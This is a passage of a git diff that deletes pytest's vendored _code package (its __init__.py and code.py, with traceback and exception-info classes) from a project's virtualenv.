a/venv/Lib/site-packages/_pytest/_code/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -"""Python inspection/code generation API.""" - -from __future__ import annotations - -from .code import Code -from .code import ExceptionInfo -from .code import filter_traceback -from .code import Frame -from .code import getfslineno -from .code import Traceback -from .code import TracebackEntry -from .source import getrawcode -from .source import Source - - -__all__ = [ - "Code", - "ExceptionInfo", - "Frame", - "Source", - "Traceback", - "TracebackEntry", - "filter_traceback", - "getfslineno", - "getrawcode", -] diff --git a/venv/Lib/site-packages/_pytest/_code/code.py b/venv/Lib/site-packages/_pytest/_code/code.py deleted file mode 100644 index 3c453b15dd7f53a1b6a18c1935f5f905304886dc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/_code/code.py +++ /dev/null @@ -1,1632 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import ast -from collections.abc import Callable -from collections.abc import Iterable -from collections.abc import Mapping -from collections.abc import Sequence -import dataclasses -import inspect -from io import StringIO -import os -from pathlib import Path -import re -import sys -from traceback import extract_tb -from traceback import format_exception -from traceback import format_exception_only -from traceback import FrameSummary -from types import CodeType -from types import FrameType -from types import TracebackType -from typing import Any -from typing import ClassVar -from typing import Final -from typing import final -from typing import Generic -from typing import Literal -from typing import overload -from typing import SupportsIndex -from typing import TypeAlias -from typing import TypeVar - -import pluggy - -import _pytest -from _pytest._code.source import findsource -from _pytest._code.source import getrawcode -from _pytest._code.source import getstatementrange_ast -from _pytest._code.source import Source -from _pytest._io import TerminalWriter -from _pytest._io.saferepr import safeformat -from _pytest._io.saferepr import saferepr -from _pytest.compat import get_real_func -from _pytest.deprecated import check_ispytest -from _pytest.pathlib import absolutepath -from _pytest.pathlib import bestrelpath - - -if sys.version_info < (3, 11): - from exceptiongroup import BaseExceptionGroup - -TracebackStyle = Literal["long", "short", "line", "no", "native", "value", "auto"] - -EXCEPTION_OR_MORE = type[BaseException] | tuple[type[BaseException], ...] - - -class Code: - """Wrapper around Python code objects.""" - - __slots__ = ("raw",) - - def __init__(self, obj: CodeType) -> None: - self.raw = obj - - @classmethod - def from_function(cls, obj: object) -> Code: - return cls(getrawcode(obj)) - - def __eq__(self, other): - return self.raw == other.raw - - # Ignore type because of https://github.com/python/mypy/issues/4266. - __hash__ = None # type: ignore - - @property - def firstlineno(self) -> int: - return self.raw.co_firstlineno - 1 - - @property - def name(self) -> str: - return self.raw.co_name - - @property - def path(self) -> Path | str: - """Return a path object pointing to source code, or an ``str`` in - case of ``OSError`` / non-existing file.""" - filename = inspect.getfile(self.raw) - if not filename: - return "" - try: - p = absolutepath(filename) - # maybe don't try this checking - if not p.exists(): - raise OSError("path check failed.") - return p - except OSError: - # XXX maybe try harder like the weird logic - # in the standard lib [linecache.updatecache] does? - return filename - - @property - def fullsource(self) -> Source | None: - """Return a _pytest._code.Source object for the full source file of the code.""" - full, _ = findsource(self.raw) - return full - - def source(self) -> Source: - """Return a _pytest._code.Source object for the code object's source only.""" - # return source only for that part of code - return Source(self.raw) - - def getargs(self, var: bool = False) -> tuple[str, ...]: - """Return a tuple with the argument names for the code object. - - If 'var' is set True also return the names of the variable and - keyword arguments when present. - """ - # inspect.getargs merges positional and kwonly into a single list; - # co_argcount is needed to exclude kwonly when var=False. - args, varargs, varkw = inspect.getargs(self.raw) - if not var: - return tuple(args[: self.raw.co_argcount]) - result = list(args) - if varargs is not None: - result.append(varargs) - if varkw is not None: - result.append(varkw) - return tuple(result) - - -class Frame: - """Wrapper around a Python frame holding f_locals and f_globals - in which expressions can be evaluated.""" - - __slots__ = ("raw",) - - def __init__(self, frame: FrameType) -> None: - self.raw = frame - - @property - def lineno(self) -> int: - return self.raw.f_lineno - 1 - - @property - def f_globals(self) -> dict[str, Any]: - return self.raw.f_globals - - @property - def f_locals(self) -> dict[str, Any]: - return self.raw.f_locals - - @property - def code(self) -> Code: - return Code(self.raw.f_code) - - @property - def statement(self) -> Source: - """Statement this frame is at.""" - if self.code.fullsource is None: - return Source("") - return self.code.fullsource.getstatement(self.lineno) - - def eval(self, code, **vars): - """Evaluate 'code' in the frame. - - 'vars' are optional additional local variables. - - Returns the result of the evaluation. - """ - f_locals = self.f_locals.copy() - f_locals.update(vars) - return eval(code, self.f_globals, f_locals) - - def repr(self, object: object) -> str: - """Return a 'safe' (non-recursive, one-line) string repr for 'object'.""" - return saferepr(object) - - def getargs(self, var: bool = False): - """Return a list of tuples (name, value) for all arguments. - - If 'var' is set True, also include the variable and keyword arguments - when present. - """ - retval = [] - for arg in self.code.getargs(var): - try: - retval.append((arg, self.f_locals[arg])) - except KeyError: - pass # this can occur when using Psyco - return retval - - -class TracebackEntry: - """A single entry in a Traceback.""" - - __slots__ = ("_rawentry", "_repr_style") - - def __init__( - self, - rawentry: TracebackType, - repr_style: Literal["short", "long"] | None = None, - ) -> None: - self._rawentry: Final = rawentry - self._repr_style: Final = repr_style - - def with_repr_style( - self, repr_style: Literal["short", "long"] | None - ) -> TracebackEntry: - return TracebackEntry(self._rawentry, repr_style) - - @property - def lineno(self) -> int: - return self._rawentry.tb_lineno - 1 - - def get_python_framesummary(self) -> FrameSummary: - # Python's built-in traceback module implements all the nitty gritty - # details to get column numbers of out frames. - stack_summary = extract_tb(self._rawentry, limit=1) - return stack_summary[0] - - # Column and end line numbers introduced in python 3.11 - if sys.version_info < (3, 11): - - @property - def end_lineno_relative(self) -> int | None: - return None - - @property - def colno(self) -> int | None: - return None - - @property - def end_colno(self) -> int | None: - return None - else: - - @property - def end_lineno_relative(self) -> int | None: - frame_summary = self.get_python_framesummary() - if frame_summary.end_lineno is None: # pragma: no cover - return None - return frame_summary.end_lineno - 1 - self.frame.code.firstlineno - - @property - def colno(self) -> int | None: - """Starting byte offset of the expression in the traceback entry.""" - return self.get_python_framesummary().colno - - @property - def end_colno(self) -> int | None: - """Ending byte offset of the expression in the traceback entry.""" - return self.get_python_framesummary().end_colno - - @property - def frame(self) -> Frame: - return Frame(self._rawentry.tb_frame) - - @property - def relline(self) -> int: - return self.lineno - self.frame.code.firstlineno - - def __repr__(self) -> str: - return f"" - - @property - def statement(self) -> Source: - """_pytest._code.Source object for the current statement.""" - source = self.frame.code.fullsource - assert source is not None - return source.getstatement(self.lineno) - - @property - def path(self) -> Path | str: - """Path to the source code.""" - return self.frame.code.path - - @property - def locals(self) -> dict[str, Any]: - """Locals of underlying frame.""" - return self.frame.f_locals - - def getfirstlinesource(self) -> int: - return self.frame.code.firstlineno - - def getsource( - self, astcache: dict[str | Path, ast.AST] | None = None - ) -> Source | None: - """Return failing source code.""" - # we use the passed in astcache to not reparse asttrees - # within exception info printing - source = self.frame.code.fullsource - if source is None: - return None - key = astnode = None - if astcache is not None: - key = self.frame.code.path - if key is not None: - astnode = astcache.get(key, None) - start = self.getfirstlinesource() - try: - astnode, _, end = getstatementrange_ast( - self.lineno, source, astnode=astnode - ) - except SyntaxError: - end = self.lineno + 1 - else: - if key is not None and astcache is not None: - astcache[key] = astnode - return source[start:end] - - source = property(getsource) - - def ishidden(self, excinfo: ExceptionInfo[BaseException] | None) -> bool: - """Return True if the current frame has a var __tracebackhide__ - resolving to True. - - If __tracebackhide__ is a callable, it gets called with the - ExceptionInfo instance and can decide whether to hide the traceback. - - Mostly for internal use. - """ - tbh: bool | Callable[[ExceptionInfo[BaseException] | None], bool] = False - for maybe_ns_dct in (self.frame.f_locals, self.frame.f_globals): - # in normal cases, f_locals and f_globals are dictionaries - # however via `exec(...)` / `eval(...)` they can be other types - # (even incorrect types!). - # as such, we suppress all exceptions while accessing __tracebackhide__ - try: - tbh = maybe_ns_dct["__tracebackhide__"] - except Exception: - pass - else: - break - if tbh and callable(tbh): - return tbh(excinfo) - return tbh - - def __str__(self) -> str: - name = self.frame.code.name - try: - line = str(self.statement).lstrip() - except KeyboardInterrupt: - raise - except BaseException: - line = "???" - # This output does not quite match Python's repr for traceback entries, - # but changing it to do so would break certain plugins. See - # https://github.com/pytest-dev/pytest/pull/7535/ for details. - return f" File '{self.path}':{self.lineno + 1} in {name}\n {line}\n" - - @property - def name(self) -> str: - """co_name of underlying code.""" - return self.frame.code.raw.co_name - - -class Traceback(list[TracebackEntry]): - """Traceback objects encapsulate and offer higher level access to Traceback entries.""" - - def __init__( - self, - tb: TracebackType | Iterable[TracebackEntry], - ) -> None: - """Initialize from given python traceback object and ExceptionInfo.""" - if isinstance(tb, TracebackType): - - def f(cur: TracebackType) -> Iterable[TracebackEntry]: - cur_: TracebackType | None = cur - while cur_ is not None: - yield TracebackEntry(cur_) - cur_ = cur_.tb_next - - super().__init__(f(tb)) - else: - super().__init__(tb) - - def cut( - self, - path: os.PathLike[str] | str | None = None, - lineno: int | None = None, - firstlineno: int | None = None, - excludepath: os.PathLike[str] | None = None, - ) -> Traceback: - """Return a Traceback instance wrapping part of this Traceback. - - By providing any combination of path, lineno and firstlineno, the - first frame to start the to-be-returned traceback is determined. - - This allows cutting the first part of a Traceback instance e.g. - for formatting reasons (removing some uninteresting bits that deal - with handling of the exception/traceback). - """ - path_ = None if path is None else os.fspath(path) - excludepath_ = None if excludepath is None else os.fspath(excludepath) - for x in self: - code = x.frame.code - codepath = code.path - if path is not None and str(codepath) != path_: - continue - if ( - excludepath is not None - and isinstance(codepath, Path) - and excludepath_ in (str(p) for p in codepath.parents) # type: ignore[operator] - ): - continue - if lineno is not None and x.lineno != lineno: - continue - if firstlineno is not None and x.frame.code.firstlineno != firstlineno: - continue - return Traceback(x._rawentry) - return self - - @overload - def __getitem__(self, key: SupportsIndex) -> TracebackEntry: ... - - @overload - def __getitem__(self, key: slice) -> Traceback: ... - - def __getitem__(self, key: SupportsIndex | slice) -> TracebackEntry | Traceback: - if isinstance(key, slice): - return self.__class__(super().__getitem__(key)) - else: - return super().__getitem__(key) - - def filter( - self, - excinfo_or_fn: ExceptionInfo[BaseException] | Callable[[TracebackEntry], bool], - /, - ) -> Traceback: - """Return a Traceback instance with certain items removed. - - If the filter is an `ExceptionInfo`, removes all the ``TracebackEntry``s - which are hidden (see ishidden() above). - - Otherwise, the filter is a function that gets a single argument, a - ``TracebackEntry`` instance, and should return True when the item should - be added to the ``Traceback``, False when not. - """ - if isinstance(excinfo_or_fn, ExceptionInfo): - fn = lambda x: not x.ishidden(excinfo_or_fn) # noqa: E731 - else: - fn = excinfo_or_fn - return Traceback(filter(fn, self)) - - def recursionindex(self) -> int | None: - """Return the index of the frame/TracebackEntry where recursion originates if - appropriate, None if no recursion occurred.""" - cache: dict[tuple[Any, int, int], list[dict[str, Any]]] = {} - for i, entry in enumerate(self): - # id for the code.raw is needed to work around - # the strange metaprogramming in the decorator lib from pypi - # which generates code objects that have hash/value equality - # XXX needs a test - key = entry.frame.code.path, id(entry.frame.code.raw), entry.lineno - values = cache.setdefault(key, []) - # Since Python 3.13 f_locals is a proxy, freeze it. - loc = dict(entry.frame.f_locals) - if values: - for otherloc in values: - if otherloc == loc: - return i - values.append(loc) - return None - - -def stringify_exception( - exc: BaseException, include_subexception_msg: bool = True -) -> str: - try: - notes = getattr(exc, "__notes__", []) - except KeyError: - # Workaround for https://github.com/python/cpython/issues/98778 on - # some 3.10 and 3.11 patch versions. - HTTPError = getattr(sys.modules.get("urllib.error", None), "HTTPError", ()) - if sys.version_info < (3, 12) and isinstance(exc, HTTPError): - notes = [] - else: # pragma: no cover - # exception not related to above bug, reraise - raise - if not include_subexception_msg and isinstance(exc, BaseExceptionGroup): - message = exc.message - else: - message = str(exc) - - return "\n".join( - [ - message, - *notes, - ] - ) - - -E = TypeVar("E", bound=BaseException, covariant=True) - - -@final -@dataclasses.dataclass -class ExceptionInfo(Generic[E]): - """Wraps sys.exc_info() objects and offers help for navigating the traceback.""" - - _assert_start_repr: ClassVar = "AssertionError('assert " - - _excinfo: tuple[type[E], E, TracebackType] | None - _striptext: str - _traceback: Traceback | None - - def __init__( - self, - excinfo: tuple[type[E], E, TracebackType] | None, - striptext: str = "", - traceback: Traceback | None = None, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self._excinfo = excinfo - self._striptext = striptext - self._traceback = traceback - - @classmethod - def from_exception( - cls, - # Ignoring error: "Cannot use a covariant type variable as a parameter". - # This is OK to ignore because this class is (conceptually) readonly. - # See https://github.com/python/mypy/issues/7049. - exception: E, # type: ignore[misc] - exprinfo: str | None = None, - ) -> ExceptionInfo[E]: - """Return an ExceptionInfo for an existing exception. - - The exception must have a non-``None`` ``__traceback__`` attribute, - otherwise this function fails with an assertion error. This means that - the exception must have been raised, or added a traceback with the - :py:meth:`~BaseException.with_traceback()` method. - - :param exprinfo: - A text string helping to determine if we should strip - ``AssertionError`` from the output. Defaults to the exception - message/``__str__()``. - - .. versionadded:: 7.4 - """ - assert exception.__traceback__, ( - "Exceptions passed to ExcInfo.from_exception(...)" - " must have a non-None __traceback__." - ) - exc_info = (type(exception), exception, exception.__traceback__) - return cls.from_exc_info(exc_info, exprinfo) - - @classmethod - def from_exc_info( - cls, - exc_info: tuple[type[E], E, TracebackType], - exprinfo: str | None = None, - ) -> ExceptionInfo[E]: - """Like :func:`from_exception`, but using old-style exc_info tuple.""" - _striptext = "" - if exprinfo is None and isinstance(exc_info[1], AssertionError): - exprinfo = getattr(exc_info[1], "msg", None) - if exprinfo is None: - exprinfo = saferepr(exc_info[1]) - if exprinfo and exprinfo.startswith(cls._assert_start_repr): - _striptext = "AssertionError: " - - return cls(exc_info, _striptext, _ispytest=True) - - @classmethod - def from_current(cls, exprinfo: str | None = None) -> ExceptionInfo[BaseException]: - """Return an ExceptionInfo matching the current traceback. - - .. warning:: - - Experimental API - - :param exprinfo: - A text string helping to determine if we should strip - ``AssertionError`` from the output. Defaults to the exception - message/``__str__()``. - """ - tup = sys.exc_info() - assert tup[0] is not None, "no current exception" - assert tup[1] is not None, "no current exception" - assert tup[2] is not None, "no current exception" - exc_info = (tup[0], tup[1], tup[2]) - return ExceptionInfo.from_exc_info(exc_info, exprinfo) - - @classmethod - def for_later(cls) -> ExceptionInfo[E]: - """Return an unfilled ExceptionInfo.""" - return cls(None, _ispytest=True) - - def fill_unfilled(self, exc_info: tuple[type[E], E, TracebackType]) -> None: - """Fill an unfilled ExceptionInfo created with ``for_later()``.""" - assert self._excinfo is None, "ExceptionInfo was already filled" - self._excinfo = exc_info - - @property - def type(self) -> type[E]: - """The exception class.""" - assert self._excinfo is not None, ( - ".type can only be used after the context manager exits" - ) - return self._excinfo[0] - - @property - def value(self) -> E: - """The exception value.""" - assert self._excinfo is not None, ( - ".value can only be used after the context manager exits" - ) - return self._excinfo[1] - - @property - def tb(self) -> TracebackType: - """The exception raw traceback.""" - assert self._excinfo is not None, ( - ".tb can only be used after the context manager exits" - ) - return self._excinfo[2] - - @property - def typename(self) -> str: - """The type name of the exception.""" - assert self._excinfo is not None, ( - ".typename can only be used after the context manager exits" - ) - return self.type.__name__ - - @property - def traceback(self) -> Traceback: - """The traceback.""" - if self._traceback is None: - self._traceback = Traceback(self.tb) - return self._traceback - - @traceback.setter - def traceback(self, value: Traceback) -> None: - self._traceback = value - - def __repr__(self) -> str: - if self._excinfo is None: - return "" - return f"<{self.__class__.__name__} {saferepr(self._excinfo[1])} tblen={len(self.traceback)}>" - - def exconly(self, tryshort: bool = False) -> str: - """Return the exception as a string. - - This is usually a single line ": ", but - may also include additional lines for the exception notes, and detailed - information for SyntaxError's. - - :param tryshort: - If true, and the exception is an AssertionError, strip - 'AssertionError: ' from the beginning. - """ - - def _get_single_subexc( - eg: BaseExceptionGroup[BaseException], - ) -> BaseException | None: - if len(eg.exceptions) != 1: - return None - if isinstance(e := eg.exceptions[0], BaseExceptionGroup): - return _get_single_subexc(e) - return e - - if ( - tryshort - and isinstance(self.value, BaseExceptionGroup) - and (subexc := _get_single_subexc(self.value)) is not None - ): - return f"{subexc!r} [single exception in {type(self.value).__name__}]" - - lines = format_exception_only(self.value) - # The lines already include line separators. - text = "".join(lines) - text = text.rstrip() - if tryshort: - if text.startswith(self._striptext): - text = text[len(self._striptext) :] - return text - - def errisinstance(self, exc: EXCEPTION_OR_MORE) -> bool: - """Return True if the exception is an instance of exc. - - Consider using ``isinstance(excinfo.value, exc)`` instead. - """ - return isinstance(self.value, exc) - - def _getreprcrash(self) -> ReprFileLocation | None: - # Find last non-hidden traceback entry that led to the exception of the - # traceback, or None if all hidden. - for i in range(-1, -len(self.traceback) - 1, -1): - entry = self.traceback[i] - if not entry.ishidden(self): - path, lineno = entry.frame.code.raw.co_filename, entry.lineno - exconly = self.exconly(tryshort=True) - return ReprFileLocation(path, lineno + 1, exconly) - return None - - def getrepr( - self, - showlocals: bool = False, - style: TracebackStyle = "long", - abspath: bool = False, - tbfilter: bool | Callable[[ExceptionInfo[BaseException]], Traceback] = True, - funcargs: bool = False, - truncate_locals: bool = True, - truncate_args: bool = True, - chain: bool = True, - ) -> ReprExceptionInfo | ExceptionChainRepr: - """Return str()able representation of this exception info. - - The formatting parameters are ineffective if ``style="native"``, - since in this case the native formatting is used. - - :param bool showlocals: - Show locals per traceback entry. - - :param str style: - long|short|line|no|native|value traceback style. - - :param bool abspath: - If paths should be changed to absolute or left unchanged. - - :param tbfilter: - A filter for traceback entries. - - * If false, don't hide any entries. - * If true, hide internal entries and entries that contain a local - variable ``__tracebackhide__ = True``. - * If a callable, delegates the filtering to the callable. - - :param bool funcargs: - Show function arguments per traceback entry. - - :param bool truncate_locals: - Whether to show a size-limited `repr()` of locals, or a full - pretty-printing. - - :param bool truncate_args: - Whether to show a size-limited truncated `repr()` of function - arguments, or a full pretty-printing. - - :param bool chain: - If chained exceptions should be shown. - - .. versionchanged:: 3.9 - - Added the ``chain`` parameter. - """ - if style == "native": - return ReprExceptionInfo( - reprtraceback=ReprTracebackNative( - format_exception( - self.type, - self.value, - self.traceback[0]._rawentry if self.traceback else None, - ) - ), - reprcrash=self._getreprcrash(), - ) - - fmt = ExceptionInfoFormatter( - showlocals=showlocals, - style=style, - abspath=abspath, - tbfilter=tbfilter, - funcargs=funcargs, - truncate_locals=truncate_locals, - truncate_args=truncate_args, - chain=chain, - ) - return fmt.repr_excinfo(self) - - def match(self, regexp: str | re.Pattern[str]) -> Literal[True]: - """Check whether the regular expression `regexp` matches the string - representation of the exception using :func:`python:re.search`. - - If it matches `True` is returned, otherwise an `AssertionError` is raised. - """ - __tracebackhide__ = True - value = stringify_exception(self.value) - msg = ( - f"Regex pattern did not match.\n" - f" Expected regex: {regexp!r}\n" - f" Actual message: {value!r}" - ) - if regexp == value: - msg += "\n Did you mean to `re.escape()` the regex?" - assert re.search(regexp, value), msg - # Return True to allow for "assert excinfo.match()". - return True - - def _group_contains( - self, - exc_group: BaseExceptionGroup[BaseException], - expected_exception: EXCEPTION_OR_MORE, - match: str | re.Pattern[str] | None, - target_depth: int | None = None, - current_depth: int = 1, - ) -> bool: - """Return `True` if a `BaseExceptionGroup` contains a matching exception.""" - if (target_depth is not None) and (current_depth > target_depth): - # already descended past the target depth - return False - for exc in exc_group.exceptions: - if isinstance(exc, BaseExceptionGroup): - if self._group_contains( - exc, expected_exception, match, target_depth, current_depth + 1 - ): - return True - if (target_depth is not None) and (current_depth != target_depth): - # not at the target depth, no match - continue - if not isinstance(exc, expected_exception): - continue - if match is not None: - value = stringify_exception(exc) - if not re.search(match, value): - continue - return True - return False - - def group_contains( - self, - expected_exception: EXCEPTION_OR_MORE, - *, - match: str | re.Pattern[str] | None = None, - depth: int | None = None, - ) -> bool: - """Check whether a captured exception group contains a matching exception. - - :param Type[BaseException] | Tuple[Type[BaseException]] expected_exception: - The expected exception type, or a tuple if one of multiple possible - exception types are expected. - - :param str | re.Pattern[str] | None match: - If specified, a string containing a regular expression, - or a regular expression object, that is tested against the string - representation of the exception and its `PEP-678 ` `__notes__` - using :func:`re.search`. - - To match a literal string that may contain :ref:`special characters - `, the pattern can first be escaped with :func:`re.escape`. - - :param Optional[int] depth: - If `None`, will search for a matching exception at any nesting depth. - If >= 1, will only match an exception if it's at the specified depth (depth = 1 being - the exceptions contained within the topmost exception group). - - .. versionadded:: 8.0 - - .. warning:: - This helper makes it easy to check for the presence of specific exceptions, - but it is very bad for checking that the group does *not* contain - *any other exceptions*. - You should instead consider using :class:`pytest.RaisesGroup` - - """ - msg = "Captured exception is not an instance of `BaseExceptionGroup`" - assert isinstance(self.value, BaseExceptionGroup), msg - msg = "`depth` must be >= 1 if specified" - assert (depth is None) or (depth >= 1), msg - return self._group_contains(self.value, expected_exception, match, depth) - - -# Type alias for the `tbfilter` setting: -# bool: If True, it should be filtered using Traceback.filter() -# callable: A callable that takes an ExceptionInfo and returns the filtered traceback. -TracebackFilter: TypeAlias = bool | Callable[[ExceptionInfo[BaseException]], Traceback] - - -@dataclasses.dataclass -class ExceptionInfoFormatter: - """Helper object to format ExceptionInfo's and individual exception parts - into TerminalRepr's. - - See :func:`ExceptionInfo.getrepr` for parameters. - """ - - # for traceback entries - flow_marker: ClassVar = ">" - fail_marker: ClassVar = "E" - - showlocals: bool = False - # Note: "native" is handled outside of ExceptionInfoFormatter. - style: TracebackStyle = "long" - abspath: bool = True - tbfilter: TracebackFilter = True - funcargs: bool = False - truncate_locals: bool = True - truncate_args: bool = True - chain: bool = True - - astcache: dict[str | Path, ast.AST] = dataclasses.field( - default_factory=dict, init=False, repr=False - ) - - def _getindent(self, source: Source) -> int: - # Figure out indent for the given source. - try: - s = str(source.getstatement(len(source) - 1)) - except KeyboardInterrupt: - raise - except BaseException: - try: - s = str(source[-1]) - except KeyboardInterrupt: - raise - except BaseException: - return 0 - return 4 + (len(s) - len(s.lstrip())) - - def _getentrysource(self, entry: TracebackEntry) -> Source | None: - source = entry.getsource(self.astcache) - if source is not None: - source = source.deindent() - return source - - def repr_args(self, entry: TracebackEntry) -> ReprFuncArgs | None: - if self.funcargs: - args = [] - for argname, argvalue in entry.frame.getargs(var=True): - if self.truncate_args: - str_repr = saferepr(argvalue) - else: - str_repr = saferepr(argvalue, maxsize=None) - args.append((argname, str_repr)) - return ReprFuncArgs(args) - return None - - def get_source( - self, - source: Source | None, - line_index: int = -1, - excinfo: ExceptionInfo[BaseException] | None = None, - short: bool = False, - end_line_index: int | None = None, - colno: int | None = None, - end_colno: int | None = None, - ) -> list[str]: - """Return formatted and marked up source lines.""" - lines = [] - if source is not None and line_index < 0: - line_index += len(source) - if source is None or line_index >= len(source.lines) or line_index < 0: - # `line_index` could still be outside `range(len(source.lines))` if - # we're processing AST with pathological position attributes. - source = Source("???") - line_index = 0 - space_prefix = " " - if short: - lines.append(space_prefix + source.lines[line_index].strip()) - lines.extend( - self.get_highlight_arrows_for_line( - raw_line=source.raw_lines[line_index], - line=source.lines[line_index].strip(), - lineno=line_index, - end_lineno=end_line_index, - colno=colno, - end_colno=end_colno, - ) - ) - else: - for line in source.lines[:line_index]: - lines.append(space_prefix + line) - lines.append(self.flow_marker + " " + source.lines[line_index]) - lines.extend( - self.get_highlight_arrows_for_line( - raw_line=source.raw_lines[line_index], - line=source.lines[line_index], - lineno=line_index, - end_lineno=end_line_index, - colno=colno, - end_colno=end_colno, - ) - ) - for line in source.lines[line_index + 1 :]: - lines.append(space_prefix + line) - if excinfo is not None: - indent = 4 if short else self._getindent(source) - lines.extend(self.get_exconly(excinfo, indent=indent, markall=True)) - return lines - - def get_highlight_arrows_for_line( - self, - line: str, - raw_line: str, - lineno: int | None, - end_lineno: int | None, - colno: int | None, - end_colno: int | None, - ) -> list[str]: - """Return characters highlighting a source line. - - Example with colno and end_colno pointing to the bar expression: - "foo() + bar()" - returns " ^^^^^" - """ - if lineno != end_lineno: - # Don't handle expressions that span multiple lines. - return [] - if colno is None or end_colno is None: - # Can't do anything without column information. - return [] - - num_stripped_chars = len(raw_line) - len(line) - - start_char_offset = _byte_offset_to_character_offset(raw_line, colno) - end_char_offset = _byte_offset_to_character_offset(raw_line, end_colno) - num_carets = end_char_offset - start_char_offset - # If the highlight would span the whole line, it is redundant, don't - # show it. - if num_carets >= len(line.strip()): - return [] - - highlights = " " - highlights += " " * (start_char_offset - num_stripped_chars + 1) - highlights += "^" * num_carets - return [highlights] - - def get_exconly( - self, - excinfo: ExceptionInfo[BaseException], - indent: int = 4, - markall: bool = False, - ) -> list[str]: - lines = [] - indentstr = " " * indent - # Get the real exception information out. - exlines = excinfo.exconly(tryshort=True).split("\n") - failindent = self.fail_marker + indentstr[1:] - for line in exlines: - lines.append(failindent + line) - if not markall: - failindent = indentstr - return lines - - def repr_locals(self, locals: Mapping[str, object]) -> ReprLocals | None: - if self.showlocals: - lines = [] - # Variables starting with `@` are helpers injected by assertion - # rewriting, not user variables, so hide them. - keys = [loc for loc in locals if loc[0] != "@"] - keys.sort() - for name in keys: - value = locals[name] - if name == "__builtins__": - lines.append("__builtins__ = ") - else: - # This formatting could all be handled by the - # _repr() function, which is only reprlib.Repr in - # disguise, so is very configurable. - if self.truncate_locals: - str_repr = saferepr(value) - else: - str_repr = safeformat(value) - # if len(str_repr) < 70 or not isinstance(value, (list, tuple, dict)): - lines.append(f"{name:<10} = {str_repr}") - # else: - # self._line("%-10s =\\" % (name,)) - # # XXX - # pprint.pprint(value, stream=self.excinfowriter) - return ReprLocals(lines) - return None - - def repr_traceback_entry( - self, - entry: TracebackEntry | None, - excinfo: ExceptionInfo[BaseException] | None = None, - ) -> ReprEntry: - lines: list[str] = [] - style = ( - entry._repr_style - if entry is not None and entry._repr_style is not None - else self.style - ) - if style in ("short", "long") and entry is not None: - source = self._getentrysource(entry) - if source is None: - source = Source("???") - line_index = 0 - end_line_index, colno, end_colno = None, None, None - else: - line_index = entry.relline - end_line_index = entry.end_lineno_relative - colno = entry.colno - end_colno = entry.end_colno - short = style == "short" - reprargs = self.repr_args(entry) if not short else None - s = self.get_source( - source=source, - line_index=line_index, - excinfo=excinfo, - short=short, - end_line_index=end_line_index, - colno=colno, - end_colno=end_colno, - ) - lines.extend(s) - if short: - message = f"in {entry.name}" - else: - message = (excinfo and excinfo.typename) or "" - entry_path = entry.path - path = self._makepath(entry_path) - reprfileloc = ReprFileLocation(path, entry.lineno + 1, message) - localsrepr = self.repr_locals(entry.locals) - return ReprEntry(lines, reprargs, localsrepr, reprfileloc, style) - elif style == "value": - if excinfo: - lines.extend(str(excinfo.value).split("\n")) - return ReprEntry(lines, None, None, None, style) - else: - if excinfo: - lines.extend(self.get_exconly(excinfo, indent=4)) - return ReprEntry(lines, None, None, None, style) - - def _makepath(self, path: Path | str) -> str: - if not self.abspath and isinstance(path, Path): - try: - np = bestrelpath(Path.cwd(), path) - except OSError: - return str(path) - if len(np) < len(str(path)): - return np - return str(path) - - def repr_traceback(self, excinfo: ExceptionInfo[BaseException]) -> ReprTraceback: - traceback = filter_excinfo_traceback(self.tbfilter, excinfo) - - if isinstance(excinfo.value, RecursionError): - traceback, extraline = self._truncate_recursive_traceback(traceback) - else: - extraline = None - - if not traceback: - if extraline is None: - extraline = "All traceback entries are hidden. Pass `--full-trace` to see hidden and internal frames." - entries = [self.repr_traceback_entry(None, excinfo)] - return ReprTraceback(entries, extraline, style=self.style) - - last = traceback[-1] - if self.style == "value": - entries = [self.repr_traceback_entry(last, excinfo)] - return ReprTraceback(entries, None, style=self.style) - - entries = [ - self.repr_traceback_entry(entry, excinfo if last == entry else None) - for entry in traceback - ] - return ReprTraceback(entries, extraline, style=self.style) - - def _truncate_recursive_traceback( - self, traceback: Traceback - ) -> tuple[Traceback, str | None]: - """Truncate the given recursive traceback trying to find the starting - point of the recursion. - - The detection is done by going through each traceback entry and - finding the point in which the locals of the frame are equal to the - locals of a previous frame (see ``recursionindex()``). - - Handle the situation where the recursion process might raise an - exception (for example comparing numpy arrays using equality raises a - TypeError), in which case we do our best to warn the user of the - error and show a limited traceback. - """ - try: - recursionindex = traceback.recursionindex() - except Exception as e: - max_frames = 10 - extraline: str | None = ( - "!!! Recursion error detected, but an error occurred locating the origin of recursion.\n" - " The following exception happened when comparing locals in the stack frame:\n" - f" {type(e).__name__}: {e!s}\n" - f" Displaying first and last {max_frames} stack frames out of {len(traceback)}." - ) - # Type ignored because adding two instances of a List subtype - # currently incorrectly has type List instead of the subtype. - traceback = traceback[:max_frames] + traceback[-max_frames:] # type: ignore - else: - if recursionindex is not None: - extraline = "!!! Recursion detected (same locals & position)" - traceback = traceback[: recursionindex + 1] - else: - extraline = None - - return traceback, extraline - - def repr_excinfo(self, excinfo: ExceptionInfo[BaseException]) -> ExceptionChainRepr: - repr_chain: list[tuple[ReprTraceback, ReprFileLocation | None, str | None]] = [] - e: BaseException | None = excinfo.value - excinfo_: ExceptionInfo[BaseException] | None = excinfo - description = None - seen: set[int] = set() - while e is not None and id(e) not in seen: - seen.add(id(e)) - - if excinfo_: - # Fall back to native traceback as a temporary workaround until - # full support for exception groups added to ExceptionInfo. - # See https://github.com/pytest-dev/pytest/issues/9159 - reprtraceback: ReprTraceback | ReprTracebackNative - if isinstance(e, BaseExceptionGroup): - # don't filter any sub-exceptions since they shouldn't have any internal frames - traceback = filter_excinfo_traceback(self.tbfilter, excinfo) - extraline = ( - "All traceback entries are hidden. Pass `--full-trace` to see hidden and internal frames." - if not traceback - else None - ) - reprtraceback = ReprTracebackNative( - format_exception( - type(excinfo.value), - excinfo.value, - traceback[0]._rawentry if traceback else None, - ), - extraline=extraline, - ) - - else: - reprtraceback = self.repr_traceback(excinfo_) - reprcrash = excinfo_._getreprcrash() - else: - # Fallback to native repr if the exception doesn't have a traceback: - # ExceptionInfo objects require a full traceback to work. - reprtraceback = ReprTracebackNative(format_exception(type(e), e, None)) - reprcrash = None - repr_chain.append((reprtraceback, reprcrash, description)) - - if e.__cause__ is not None and self.chain: - e = e.__cause__ - excinfo_ = ExceptionInfo.from_exception(e) if e.__traceback__ else None - 